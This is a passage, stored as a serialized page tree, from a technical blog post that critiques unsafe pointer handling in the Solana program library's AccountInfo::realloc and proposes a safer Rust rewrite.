key_ptr",{"type":24,"tag":271,"props":25129,"children":25130},{"style":624},[25131],{"type":29,"value":1712},{"type":24,"tag":271,"props":25133,"children":25134},{"style":278},[25135],{"type":29,"value":21497},{"type":24,"tag":271,"props":25137,"children":25138},{"style":624},[25139],{"type":29,"value":41},{"type":24,"tag":271,"props":25141,"children":25142},{"style":288},[25143],{"type":29,"value":25144},"key ",{"type":24,"tag":271,"props":25146,"children":25147},{"style":278},[25148],{"type":29,"value":16555},{"type":24,"tag":271,"props":25150,"children":25151},{"style":624},[25152],{"type":29,"value":3895},{"type":24,"tag":271,"props":25154,"children":25155},{"style":278},[25156],{"type":29,"value":611},{"type":24,"tag":271,"props":25158,"children":25159},{"style":630},[25160],{"type":29,"value":10773},{"type":24,"tag":271,"props":25162,"children":25163},{"style":278},[25164],{"type":29,"value":16541},{"type":24,"tag":271,"props":25166,"children":25167},{"style":624},[25168],{"type":29,"value":3895},{"type":24,"tag":271,"props":25170,"children":25171},{"style":278},[25172],{"type":29,"value":611},{"type":24,"tag":271,"props":25174,"children":25175},{"style":3887},[25176],{"type":29,"value":22332},{"type":24,"tag":271,"props":25178,"children":25179},{"style":288},[25180],{"type":29,"value":1069},{"type":24,"tag":271,"props":25182,"children":25183},{"class":273,"line":356},[25184,25188,25193,25197,25201,25205,25209,25213,25217,25221,25225,25229,25233,25237,25242],{"type":24,"tag":271,"props":25185,"children":25186},{"style":278},[25187],{"type":29,"value":10738},{"type":24,"tag":271,"props":25189,"children":25190},{"style":630},[25191],{"type":29,"value":25192}," original_data_len_ptr",{"type":24,"tag":271,"props":25194,"children":25195},{"style":624},[25196],{"type":29,"value":1712},{"type":24,"tag":271,"props":25198,"children":25199},{"style":630},[25200],{"type":29,"value":25127},{"type":24,"tag":271,"props":25202,"children":25203},{"style":624},[25204],{"type":29,"value":41},{"type":24,"tag":271,"props":25206,"children":25207},{"style":598},[25208],{"type":29,"value":8307},{"type":24,"tag":271,"props":25210,"children":25211},{"style":288},[25212],{"type":29,"value":606},{"type":24,"tag":271,"props":25214,"children":25215},{"style":624},[25216],{"type":29,"value":9821},{"type":24,"tag":271,"props":25218,"children":25219},{"style":477},[25220],{"type":29,"value":3365},{"type":24,"tag":271,"props":25222,"children":25223},{"style":288},[25224],{"type":29,"value":8823},{"type":24,"tag":271,"props":25226,"children":25227},{"style":278},[25228],{"type":29,"value":16555},{"type":24,"tag":271,"props":25230,"children":25231},{"style":624},[25232],{"type":29,"value":3895},{"type":24,"tag":271,"props":25234,"children":25235},{"style":278},[25236],{"type":29,"value":611},{"type":24,"tag":271,"props":25238,"children":25239},{"style":3887},[25240],{"type":29,"value":25241}," u32",{"type":24,"tag":271,"props":25243,"children":25244},{"style":288},[25245],{"type":29,"value":1069},{"type":24,"tag":271,"props":25247,"children":25248},{"class":273,"line":365},[25249,25254,25259,25263],{"type":24,"tag":271,"props":25250,"children":25251},{"style":624},[25252],{"type":29,"value":25253}," *",{"type":24,"tag":271,"props":25255,"children":25256},{"style":630},[25257],{"type":29,"value":25258},"original_data_len_ptr",{"type":24,"tag":271,"props":25260,"children":25261},{"style":278},[25262],{"type":29,"value":16541},{"type":24,"tag":271,"props":25264,"children":25265},{"style":3887},[25266],{"type":29,"value":24668},{"type":24,"tag":271,"props":25268,"children":25269},{"class":273,"line":374},[25270],{"type":24,"tag":271,"props":25271,"children":25272},{"style":288},[25273],{"type":29,"value":1171},{"type":24,"tag":25,"props":25275,"children":25276},{},[25277,25279,25284,25286,25291,25293,25298,25300,25305,25307,25314,25316,25323,25324,25331,25332,25339,25340,25347],{"type":29,"value":25278},"It's marked ",{"type":24,"tag":135,"props":25280,"children":25282},{"className":25281},[],[25283],{"type":29,"value":22054},{"type":29,"value":25285},", properly documented, but there's just one problem: we need this for ",{"type":24,"tag":135,"props":25287,"children":25289},{"className":25288},[],[25290],{"type":29,"value":21339},{"type":29,"value":25292},", which originally was not ",{"type":24,"tag":135,"props":25294,"children":25296},{"className":25295},[],[25297],{"type":29,"value":22054},{"type":29,"value":25299},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":24,"tag":135,"props":25301,"children":25303},{"className":25302},[],[25304],{"type":29,"value":22054},{"type":29,"value":25306}," block and added ",{"type":24,"tag":32,"props":25308,"children":25311},{"href":25309,"rel":25310},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[36],[25312],{"type":29,"value":25313},"a doc comment",{"type":29,"value":25315}," - adding to the ",{"type":24,"tag":32,"props":25317,"children":25320},{"href":25318,"rel":25319},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[36],[25321],{"type":29,"value":25322},"small",{"type":29,"value":3360},{"type":24,"tag":32,"props":25325,"children":25328},{"href":25326,"rel":25327},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[36],[25329],{"type":29,"value":25330},"pile",{"type":29,"value":3360},{"type":24,"tag":32,"props":25333,"children":25336},{"href":25334,"rel":25335},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[36],[25337],{"type":29,"value":25338},"of",{"type":29,"value":3360},{"type":24,"tag":32,"props":25341,"children":25344},{"href":25342,"rel":25343},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[36],[25345],{"type":29,"value":25346},"functions",{"type":29,"value":25348}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":24,"tag":62,"props":25350,"children":25352},{"id":25351},"towards-safer-unsafe",[25353,25355],{"type":29,"value":25354},"Towards safer ",{"type":24,"tag":135,"props":25356,"children":25358},{"className":25357},[],[25359],{"type":29,"value":22054},{"type":24,"tag":25,"props":25361,"children":25362},{},[25363,25365,25370,25372,25377,25379,25386],{"type":29,"value":25364},"Let's circle back to that main ",{"type":24,"tag":135,"props":25366,"children":25368},{"className":25367},[],[25369],{"type":29,"value":22054},{"type":29,"value":25371}," block inside ",{"type":24,"tag":135,"props":25373,"children":25375},{"className":25374},[],[25376],{"type":29,"value":21339},{"type":29,"value":25378}," for a bit, shall we? As a reminder, it looks like ",{"type":24,"tag":32,"props":25380,"children":25383},{"href":25381,"rel":25382},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[36],[25384],{"type":29,"value":25385},"this",{"type":29,"value":12210},{"type":24,"tag":261,"props":25388,"children":25390},{"className":10718,"code":25389,"language":10717,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[25391],{"type":24,"tag":135,"props":25392,"children":25393},{"__ignoreMap":7},[25394,25402,25413,25421,25508,25539,25546,25554,25681,25712],{"type":24,"tag":271,"props":25395,"children":25396},{"class":273,"line":274},[25397],{"type":24,"tag":271,"props":25398,"children":25399},{"style":2058},[25400],{"type":29,"value":25401},"// realloc\n",{"type":24,"tag":271,"props":25403,"children":25404},{"class":273,"line":284},[25405,25409],{"type":24,"tag":271,"props":25406,"children":25407},{"style":278},[25408],{"type":29,"value":22054},{"type":24,"tag":271,"props":25410,"children":25411},{"style":288},[25412],{"type":29,"value":7145},{"type":24,"tag":271,"props":25414,"children":25415},{"class":273,"line":294},[25416],{"type":24,"tag":271,"props":25417,"children":25418},{"style":2058},[25419],{"type":29,"value":25420}," // First set new length in the serialized data\n",{"type":24,"tag":271,"props":25422,"children":25423},{"class":273,"line":303},[25424,25428,25432,25436,25440,25444,25448,25452,25456,25460,25464,25468,25472,25476,25480,25484,25488,25492,25496,25500,25504],{"type":24,"tag":271,"props":25425,"children":25426},{"style":278},[25427],{"type":29,"value":10738},{"type":24,"tag":271,"props":25429,"children":25430},{"style":630},[25431],{"type":29,"value":21557},{"type":24,"tag":271,"props":25433,"children":25434},{"style":624},[25435],{"type":29,"value":1712},{"type":24,"tag":271,"props":25437,"children":25438},{"style":278},[25439],{"type":29,"value":21497},{"type":24,"tag":271,"props":25441,"children":25442},{"style":624},[25443],{"type":29,"value":41},{"type":24,"tag":271,"props":25445,"children":25446},{"style":598},[25447],{"type":29,"value":21574},{"type":24,"tag":271,"props":25449,"children":25450},{"style":288},[25451],{"type":29,"value":21579},{"type":24,"tag":271,"props":25453,"children":25454},{"style":624},[25455],{"type":29,"value":10865},{"type":24,"tag":271,"props":25457,"children":25458},{"style":598},[25459],{"type":29,"value":21588},{"type":24,"tag":271,"props":25461,"children":25462},{"style":288},[25463],{"type":29,"value":21579},{"type":24,"tag":271,"props":25465,"children":25466},{"style":624},[25467],{"type":29,"value":41},{"type":24,"tag":271,"props":25469,"children":25470},{"style":598},[25471],{"type":29,"value":8307},{"type":24,"tag":271,"props":25473,"children":25474},{"style":288},[25475],{"type":29,"value":606},{"type":24,"tag":271,"props":25477,"children":25478},{"style":624},[25479],{"type":29,"value":9821},{"type":24,"tag":271,"props":25481,"children":25482},{"style":477},[25483],{"type":29,"value":7670},{"type":24,"tag":271,"props":25485,"children":25486},{"style":288},[25487],{"type":29,"value":8823},{"type":24,"tag":271,"props":25489,"children":25490},{"style":278},[25491],{"type":29,"value":16555},{"type":24,"tag":271,"props":25493,"children":25494},{"style":624},[25495],{"type":29,"value":3895},{"type":24,"tag":271,"props":25497,"children":25498},{"style":278},[25499],{"type":29,"value":11448},{"type":24,"tag":271,"props":25501,"children":25502},{"style":3887},[25503],{"type":29,"value":13576},{"type":24,"tag":271,"props":25505,"children":25506},{"style":288},[25507],{"type":29,"value":1069},{"type":24,"tag":271,"props":25509,"children":25510},{"class":273,"line":312},[25511,25515,25519,25523,25527,25531,25535],{"type":24,"tag":271,"props":25512,"children":25513},{"style":624},[25514],{"type":29,"value":25253},{"type":24,"tag":271,"props":25516,"children":25517},{"style":630},[25518],{"type":29,"value":21648},{"type":24,"tag":271,"props":25520,"children":25521},{"style":624},[25522],{"type":29,"value":1712},{"type":24,"tag":271,"props":25524,"children":25525},{"style":630},[25526],{"type":29,"value":21657},{"type":24,"tag":271,"props":25528,"children":25529},{"style":278},[25530],{"type":29,"value":16541},{"type":24,"tag":271,"props":25532,"children":25533},{"style":3887},[25534],{"type":29,"value":13576},{"type":24,"tag":271,"props":25536,"children":25537},{"style":288},[25538],{"type":29,"value":1069},{"type":24,"tag":271,"props":25540,"children":25541},{"class":273,"line":321},[25542],{"type":24,"tag":271,"props":25543,"children":25544},{"emptyLinePlaceholder":16},[25545],{"type":29,"value":327},{"type":24,"tag":271,"props":25547,"children":25548},{"class":273,"line":330},[25549],{"type":24,"tag":271,"props":25550,"children":25551},{"style":2058},[25552],{"type":29,"value":25553}," // Then set the new length in the local slice\n",{"type":24,"tag":271,"props":25555,"children":25556},{"class":273,"line":339},[25557,25561,25565,25569,25573,25577,25581,25585,25589,25593,25597,25601,25605,25609,25613,25617,25621,25625,25629,25633,25637,25641,25645,25649,25653,25657,25661,25665,25669,25673,25677],{"type":24,"tag":271,"props":25558,"children":25559},{"style":278},[25560],{"type":29,"value":10738},{"type":24,"tag":271,"props":25562,"children":25563},{"style":630},[25564],{"type":29,"value":21557},{"type":24,"tag":271,"props":25566,"children":25567},{"style":624},[25568],{"type":29,"value":1712},{"type":24,"tag":271,"props":25570,"children":25571},{"style":624},[25572],{"type":29,"value":14858},{"type":24,"tag":271,"props":25574,"children":25575},{"style":278},[25576],{"type":29,"value":11448},{"type":24,"tag":271,"props":25578,"children":25579},{"style":624},[25580],{"type":29,"value":3895},{"type":24,"tag":271,"props":25582,"children":25583},{"style":288},[25584],{"type":29,"value":21716},{"type":24,"tag":271,"props":25586,"children":25587},{"style":278},[25588],{"type":29,"value":21414},{"type":24,"tag":271,"props":25590,"children":25591},{"style":624},[25592],{"type":29,"value":41},{"type":24,"tag":271,"props":25594,"children":25595},{"style":288},[25596],{"type":29,"value":8590},{"type":24,"tag":271,"props":25598,"children":25599},{"style":624},[25600],{"type":29,"value":41},{"type":24,"tag":271,"props":25602,"children":25603},{"style":598},[25604],{"type":29,"value":21737},{"type":24,"tag":271,"props":25606,"children":25607},{"style":288},[25608],{"type":29,"value":21742},{"type":24,"tag":271,"props":25610,"children":25611},{"style":278},[25612],{"type":29,"value":16555},{"type":24,"tag":271,"props":25614,"children":25615},{"style":624},[25616],{"type":29,"value":3895},{"type":24,"tag":271,"props":25618,"children":25619},{"style":278},[25620],{"type":29,"value":611},{"type":24,"tag":271,"props":25622,"children":25623},{"style":3887},[25624],{"type":29,"value":13576},{"type":24,"tag":271,"props":25626,"children":25627},{"style":288},[25628],{"type":29,"value":2693},{"type":24,"tag":271,"props":25630,"children":25631},{"style":624},[25632],{"type":29,"value":41},{"type":24,"tag":271,"props":25634,"children":25635},{"style":598},[25636],{"type":29,"value":8307},{"type":24,"tag":271,"props":25638,"children":25639},{"style":288},[25640],{"type":29,"value":606},{"type":24,"tag":271,"props":25642,"children":25643},{"style":477},[25644],{"type":29,"value":156},{"type":24,"tag":271,"props":25646,"children":25647},{"style":288},[25648],{"type":29,"value":8823},{"type":24,"tag":271,"props":25650,"children":25651},{"style":278},[25652],{"type":29,"value":16555},{"type":24,"tag":271,"props":25654,"children":25655},{"style":3887},[25656],{"type":29,"value":13576},{"type":24,"tag":271,"props":25658,"children":25659},{"style":288},[25660],{"type":29,"value":8823},{"type":24,"tag":271,"props":25662,"children":25663},{"style":278},[25664],{"type":29,"value":16555},{"type":24,"tag":271,"props":25666,"children":25667},{"style":624},[25668],{"type":29,"value":3895},{"type":24,"tag":271,"props":25670,"children":25671},{"style":278},[25672],{"type":29,"value":11448},{"type":24,"tag":271,"props":25674,"children":25675},{"style":3887},[25676],{"type":29,"value":13576},{"type":24,"tag":271,"props":25678,"children":25679},{"style":288},[25680],{"type":29,"value":1155},{"type":24,"tag":271,"props":25682,"children":25683},{"class":273,"line":347},[25684,25688,25692,25696,25700,25704,25708],{"type":24,"tag":271,"props":25685,"children":25686},{"style":624},[25687],{"type":29,"value":25253},{"type":24,"tag":271,"props":25689,"children":25690},{"style":630},[25691],{"type":29,"value":21648},{"type":24,"tag":271,"props":25693,"children":25694},{"style":624},[25695],{"type":29,"value":1712},{"type":24,"tag":271,"props":25697,"children":25698},{"style":630},[25699],{"type":29,"value":21657},{"type":24,"tag":271,"props":25701,"children":25702},{"style":278},[25703],{"type":29,"value":16541},{"type":24,"tag":271,"props":25705,"children":25706},{"style":3887},[25707],{"type":29,"value":13576},{"type":24,"tag":271,"props":25709,"children":25710},{"style":288},[25711],{"type":29,"value":1069},{"type":24,"tag":271,"props":25713,"children":25714},{"class":273,"line":356},[25715],{"type":24,"tag":271,"props":25716,"children":25717},{"style":288},[25718],{"type":29,"value":1171},{"type":24,"tag":25,"props":25720,"children":25721},{},[25722,25724,25729],{"type":29,"value":25723},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":24,"tag":135,"props":25725,"children":25727},{"className":25726},[],[25728],{"type":29,"value":23201},{"type":29,"value":25730}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":24,"tag":25,"props":25732,"children":25733},{},[25734,25736,25741,25743,25748,25750,25755,25757,25762,25764,25769,25771,25777,25779,25789,25791,25801],{"type":29,"value":25735},"First, let's deal with the ",{"type":24,"tag":135,"props":25737,"children":25739},{"className":25738},[],[25740],{"type":29,"value":23201},{"type":29,"value":25742}," borrowing issue. When we ",{"type":24,"tag":135,"props":25744,"children":25746},{"className":25745},[],[25747],{"type":29,"value":21574},{"type":29,"value":25749},", we get a ",{"type":24,"tag":135,"props":25751,"children":25753},{"className":25752},[],[25754],{"type":29,"value":24435},{"type":29,"value":25756}," back, which represents our borrow of the ",{"type":24,"tag":135,"props":25758,"children":25760},{"className":25759},[],[25761],{"type":29,"value":23201},{"type":29,"value":25763},"'s data. The fix here is simple: keep that ",{"type":24,"tag":135,"props":25765,"children":25767},{"className":25766},[],[25768],{"type":29,"value":24435},{"type":29,"value":25770}," around and use it to access the data, instead of using ",{"type":24,"tag":135,"props":25772,"children":25774},{"className":25773},[],[25775],{"type":29,"value":25776},"RefCell::as_ptr",{"type":29,"value":25778},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":24,"tag":23171,"props":25780,"children":25781},{},[25782],{"type":24,"tag":32,"props":25783,"children":25787},{"href":25784,"ariaDescribedBy":25785,"dataFootnoteRef":7,"id":25786},"#user-content-fn-rustc-llvm",[23178],"user-content-fnref-rustc-llvm",[25788],{"type":29,"value":3365},{"type":29,"value":25790}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":24,"tag":23171,"props":25792,"children":25793},{},[25794],{"type":24,"tag":32,"props":25795,"children":25799},{"href":25796,"ariaDescribedBy":25797,"dataFootnoteRef":7,"id":25798},"#user-content-fn-godbolt",[23178],"user-content-fnref-godbolt",[25800],{"type":29,"value":8686},{"type":29,"value":25802},". So then we get:",{"type":24,"tag":261,"props":25804,"children":25806},{"className":10718,"code":25805,"language":10717,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[25807],{"type":24,"tag":135,"props":25808,"children":25809},{"__ignoreMap":7},[25810,25854,25861,25868,25952,25992,25999,26006],{"type":24,"tag":271,"props":25811,"children":25812},{"class":273,"line":274},[25813,25817,25821,25826,25830,25834,25838,25842,25846,25850],{"type":24,"tag":271,"props":25814,"children":25815},{"style":278},[25816],{"type":29,"value":19490},{"type":24,"tag":271,"props":25818,"children":25819},{"style":278},[25820],{"type":29,"value":10743},{"type":24,"tag":271,"props":25822,"children":25823},{"style":630},[25824],{"type":29,"value":25825}," slice",{"type":24,"tag":271,"props":25827,"children":25828},{"style":624},[25829],{"type":29,"value":1712},{"type":24,"tag":271,"props":25831,"children":25832},{"style":278},[25833],{"type":29,"value":21497},{"type":24,"tag":271,"props":25835,"children":25836},{"style":624},[25837],{"type":29,"value":41},{"type":24,"tag":271,"props":25839,"children":25840},{"style":598},[25841],{"type":29,"value":21574},{"type":24,"tag":271,"props":25843,"children":25844},{"style":288},[25845],{"type":29,"value":21579},{"type":24,"tag":271,"props":25847,"children":25848},{"style":624},[25849],{"type":29,"value":10887},{"type":24,"tag":271,"props":25851,"children":25852},{"style":288},[25853],{"type":29,"value":1069},{"type":24,"tag":271,"props":25855,"children":25856},{"class":273,"line":284},[25857],{"type":24,"tag":271,"props":25858,"children":25859},{"emptyLinePlaceholder":16},[25860],{"type":29,"value":327},{"type":24,"tag":271,"props":25862,"children":25863},{"class":273,"line":294},[25864],{"type":24,"tag":271,"props":25865,"children":25866},{"style":2058},[25867],{"type":29,"value":22101},{"type":24,"tag":271,"props":25869,"children":25870},{"class":273,"line":303},[25871,25875,25879,25883,25887,25891,25895,25899,25903,25907,25911,25915,25919,25923,25927,25932,25936,25940,25944,25948],{"type":24,"tag":271,"props":25872,"children":25873},{"style":278},[25874],{"type":29,"value":19490},{"type":24,"tag":271,"props":25876,"children":25877},{"style":630},[25878],{"type":29,"value":21557},{"type":24,"tag":271,"props":25880,"children":25881},{"style":624},[25882],{"type":29,"value":1712},{"type":24,"tag":271,"props":25884,"children":25885},{"style":278},[25886],{"type":29,"value":22288},{"type":24,"tag":271,"props":25888,"children":25889},{"style":288},[25890],{"type":29,"value":17293},{"type":24,"tag":271,"props":25892,"children":25893},{"style":630},[25894],{"type":29,"value":23010},{"type":24,"tag":271,"props":25896,"children":25897},{"style":624},[25898],{"type":29,"value":41},{"type":24,"tag":271,"props":25900,"children":25901},{"style":598},[25902],{"type":29,"value":21588},{"type":24,"tag":271,"props":25904,"children":25905},{"style":288},[25906],{"type":29,"value":21579},{"type":24,"tag":271,"props":25908,"children":25909},{"style":624},[25910],{"type":29,"value":41},{"type":24,"tag":271,"props":25912,"children":25913},{"style":598},[25914],{"type":29,"value":8307},{"type":24,"tag":271,"props":25916,"children":25917},{"style":288},[25918],{"type":29,"value":606},{"type":24,"tag":271,"props":25920,"children":25921},{"style":624},[25922],{"type":29,"value":9821},{"type":24,"tag":271,"props":25924,"children":25925},{"style":477},[25926],{"type":29,"value":7670},{"type":24,"tag":271,"props":25928,"children":25929},{"style":288},[25930],{"type":29,"value":25931},") } ",{"type":24,"tag":271,"props":25933,"children":25934},{"style":278},[25935],{"type":29,"value":16555},{"type":24,"tag":271,"props":25937,"children":25938},{"style":624},[25939],{"type":29,"value":3895},{"type":24,"tag":271,"props":25941,"children":25942},{"style":278},[25943],{"type":29,"value":11448},{"type":24,"tag":271,"props":25945,"children":25946},{"style":3887},[25947],{"type":29,"value":13576},{"type":24,"tag":271,"props":25949,"children":25950},{"style":288},[25951],{"type":29,"value":1069},{"type":24,"tag":271,"props":25953,"children":25954},{"class":273,"line":312},[25955,25959,25963,25967,25971,25975,25979,25983,25987],{"type":24,"tag":271,"props":25956,"children":25957},{"style":278},[25958],{"type":29,"value":22054},{"type":24,"tag":271,"props":25960,"children":25961},{"style":288},[25962],{"type":29,"value":17293},{"type":24,"tag":271,"props":25964,"children":25965},{"style":624},[25966],{"type":29,"value":627},{"type":24,"tag":271,"props":25968,"children":25969},{"style":630},[25970],{"type":29,"value":21648},{"type":24,"tag":271,"props":25972,"children":25973},{"style":624},[25974],{"type":29,"value":1712},{"type":24,"tag":271,"props":25976,"children":25977},{"style":630},[25978],{"type":29,"value":21657},{"type":24,"tag":271,"props":25980,"children":25981},{"style":278},[25982],{"type":29,"value":16541},{"type":24,"tag":271,"props":25984,"children":25985},{"style":3887},[25986],{"type":29,"value":13576},{"type":24,"tag":271,"props":25988,"children":25989},{"style":288},[25990],{"type":29,"value":25991}," };\n",{"type":24,"tag":271,"props":25993,"children":25994},{"class":273,"line":321},[25995],{"type":24,"tag":271,"props":25996,"children":25997},{"emptyLinePlaceholder":16},[25998],{"type":29,"value":327},{"type":24,"tag":271,"props":26000,"children":26001},{"class":273,"line":330},[26002],{"type":24,"tag":271,"props":26003,"children":26004},{"style":2058},[26005],{"type":29,"value":23836},{"type":24,"tag":271,"props":26007,"children":26008},{"class":273,"line":339},[26009,26013,26017,26021,26025,26030,26034,26038,26042,26047,26051,26055,26059,26063,26068,26072],{"type":24,"tag":271,"props":26010,"children":26011},{"style":624},[26012],{"type":29,"value":627},{"type":24,"tag":271,"props":26014,"children":26015},{"style":630},[26016],{"type":29,"value":23010},{"type":24,"tag":271,"props":26018,"children":26019},{"style":624},[26020],{"type":29,"value":1712},{"type":24,"tag":271,"props":26022,"children":26023},{"style":278},[26024],{"type":29,"value":22288},{"type":24,"tag":271,"props":26026,"children":26027},{"style":288},[26028],{"type":29,"value":26029}," { std",{"type":24,"tag":271,"props":26031,"children":26032},{"style":624},[26033],{"type":29,"value":11207},{"type":24,"tag":271,"props":26035,"children":26036},{"style":288},[26037],{"type":29,"value":23010},{"type":24,"tag":271,"props":26039,"children":26040},{"style":624},[26041],{"type":29,"value":11207},{"type":24,"tag":271,"props":26043,"children":26044},{"style":598},[26045],{"type":29,"value":26046},"from_raw_parts_mut",{"type":24,"tag":271,"props":26048,"children":26049},{"style":288},[26050],{"type":29,"value":606},{"type":24,"tag":271,"props":26052,"children":26053},{"style":630},[26054],{"type":29,"value":23010},{"type":24,"tag":271,"props":26056,"children":26057},{"style":624},[26058],{"type":29,"value":41},{"type":24,"tag":271,"props":26060,"children":26061},{"style":598},[26062],{"type":29,"value":21588},{"type":24,"tag":271,"props":26064,"children":26065},{"style":288},[26066],{"type":29,"value":26067},"(), ",{"type":24,"tag":271,"props":26069,"children":26070},{"style":630},[26071],{"type":29,"value":21423},{"type":24,"tag":271,"props":26073,"children":26074},{"style":288},[26075],{"type":29,"value":22443},{"type":24,"tag":25,"props":26077,"children":26078},{},[26079,26081,26086,26088,26093,26095,26100,26102],{"type":29,"value":26080},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":24,"tag":135,"props":26082,"children":26084},{"className":26083},[],[26085],{"type":29,"value":15757},{"type":29,"value":26087}," and not a ",{"type":24,"tag":135,"props":26089,"children":26091},{"className":26090},[],[26092],{"type":29,"value":24296},{"type":29,"value":26094}," for the size field, given that ",{"type":24,"tag":135,"props":26096,"children":26098},{"className":26097},[],[26099],{"type":29,"value":24296},{"type":29,"value":26101}," is architecture-dependent), and no dependency on slice reference internals!",{"type":24,"tag":23171,"props":26103,"children":26104},{},[26105],{"type":24,"tag":32,"props":26106,"children":26110},{"href":26107,"ariaDescribedBy":26108,"dataFootnoteRef":7,"id":26109},"#user-content-fn-slice-unbound-lifetime",[23178],"user-content-fnref-slice-unbound-lifetime",[26111],{"type":29,"value":9165},{"type":24,"tag":26113,"props":26114,"children":26117},"section",{"className":26115,"dataFootnotes":7},[26116],"footnotes",[26118,26125],{"type":24,"tag":62,"props":26119,"children":26122},{"className":26120,"id":23178},[26121],"sr-only",[26123],{"type":29,"value":26124},"Footnotes",{"type":24,"tag":3834,"props":26126,"children":26127},{},[26128,26233,26251,26306,26319,26347],{"type":24,"tag":101,"props":26129,"children":26131},{"id":26130},"user-content-fn-rc-refs",[26132,26134,26140,26142,26147,26149,26153,26155,26159,26161,26166,26168,26174,26176,26181,26183,26193,26195,26200,26202,26207,26209,26214,26216,26222,26224],{"type":29,"value":26133},"I find it helpful to view owning an ",{"type":24,"tag":135,"props":26135,"children":26137},{"className":26136},[],[26138],{"type":29,"value":26139},"Rc\u003CT>",{"type":29,"value":26141}," as holding a shared reference to the underlying ",{"type":24,"tag":135,"props":26143,"children":26145},{"className":26144},[],[26146],{"type":29,"value":13704},{"type":29,"value":26148}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":24,"tag":10648,"props":26150,"children":26151},{},[26152],{"type":29,"value":24154},{"type":29,"value":26154}," ensures that the actual ",{"type":24,"tag":10648,"props":26156,"children":26157},{},[26158],{"type":29,"value":8590},{"type":29,"value":26160}," stays alive, however all you have is a reference to the ",{"type":24,"tag":135,"props":26162,"children":26164},{"className":26163},[],[26165],{"type":29,"value":13704},{"type":29,"value":26167}," (through the ",{"type":24,"tag":135,"props":26169,"children":26171},{"className":26170},[],[26172],{"type":29,"value":26173},"Deref\u003CTarget = T>",{"type":29,"value":26175}," impl) - ",{"type":24,"tag":10648,"props":26177,"children":26178},{},[26179],{"type":29,"value":26180},"not",{"type":29,"value":26182}," ownership ",{"type":24,"tag":10648,"props":26184,"children":26185},{},[26186,26188],{"type":29,"value":26187},"of the ",{"type":24,"tag":135,"props":26189,"children":26191},{"className":26190},[],[26192],{"type":29,"value":13704},{"type":29,"value":26194},". In short, owning an ",{"type":24,"tag":135,"props":26196,"children":26198},{"className":26197},[],[26199],{"type":29,"value":26139},{"type":29,"value":26201}," is owning a (shared, read-only) reference to ",{"type":24,"tag":135,"props":26203,"children":26205},{"className":26204},[],[26206],{"type":29,"value":13704},{"type":29,"value":26208},", not owning ",{"type":24,"tag":135,"props":26210,"children":26212},{"className":26211},[],[26213],{"type":29,"value":13704},{"type":29,"value":26215}," directly like with ",{"type":24,"tag":135,"props":26217,"children":26219},{"className":26218},[],[26220],{"type":29,"value":26221},"Box\u003CT>",{"type":29,"value":26223},". ",{"type":24,"tag":32,"props":26225,"children":26230},{"href":26226,"ariaLabel":26227,"className":26228,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[26229],"data-footnote-backref",[26231],{"type":29,"value":26232},"↩",{"type":24,"tag":101,"props":26234,"children":26236},{"id":26235},"user-content-fn-sendsync",[26237,26243,26244],{"type":24,"tag":135,"props":26238,"children":26240},{"className":26239},[],[26241],{"type":29,"value":26242},"!Send + !Sync",{"type":29,"value":3360},{"type":24,"tag":32,"props":26245,"children":26249},{"href":26246,"ariaLabel":26247,"className":26248,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[26229],[26250],{"type":29,"value":26232},{"type":24,"tag":101,"props":26252,"children":26254},{"id":26253},"user-content-fn-layout",[26255,26257,26262,26263,26276,26278,26283,26285,26290,26292,26297,26299],{"type":29,"value":26256},"Note that this is a terrible idea for yet another reason: ",{"type":24,"tag":135,"props":26258,"children":26260},{"className":26259},[],[26261],{"type":29,"value":22636},{"type":29,"value":13219},{"type":24,"tag":32,"props":26264,"children":26267},{"href":26265,"rel":26266},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[36],[26268,26270],{"type":29,"value":26269},"not declared with ",{"type":24,"tag":135,"props":26271,"children":26273},{"className":26272},[],[26274],{"type":29,"value":26275},"#[repr(C)]",{"type":29,"value":26277},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":24,"tag":10648,"props":26279,"children":26280},{},[26281],{"type":29,"value":26282},"breaks the entire chain",{"type":29,"value":26284}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":24,"tag":10648,"props":26286,"children":26287},{},[26288],{"type":29,"value":26289},"some",{"type":29,"value":26291}," kind of interface to the specific layout of the specific ",{"type":24,"tag":135,"props":26293,"children":26295},{"className":26294},[],[26296],{"type":29,"value":24206},{"type":29,"value":26298}," versions used to build on-chain code for all eternity... 